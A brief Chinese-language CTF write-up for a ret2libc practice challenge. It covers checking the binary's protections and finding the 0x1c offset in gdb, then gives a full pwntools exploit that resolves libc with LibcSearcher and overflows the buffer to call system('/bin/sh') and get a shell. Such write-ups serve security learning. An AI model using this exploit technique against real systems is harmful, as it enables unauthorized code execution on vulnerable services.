来源
本题来自ctf wiki中ret2libc后的一道练习题
检查保护
- 只开启了 NX 保护
ida查看
- 跟前面的shellcode的课后练习类似,泄露了/bin/sh地址和puts函数的地址
gdb调试
- 断点下在main,结合ida中 v4 = esp+1ch 得到偏移 为 1ch
exp
from pwn import *
from LibcSearcher import *
p = process('./ret2libc')
elf = ELF('./ret2libc')
p.recvuntil('The address of \"/bin/sh\" is ')
bin_addr = int(p.recvuntil('\n',drop=True),16)
p.recvuntil('The address of function \"puts\" is 0x')
puts_addr = int(p.recvuntil('\n',drop=True),16)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
payload = b'a'*(0x1c+4) + p32(sys_addr) + b'A'*4 + p32(bin_addr)
p.sendline(payload)
p.interactive()
运行示例
- libc选择0、2、3都可以跑得通(根据自己运行的系统来选)(实在不行就一个个试过去)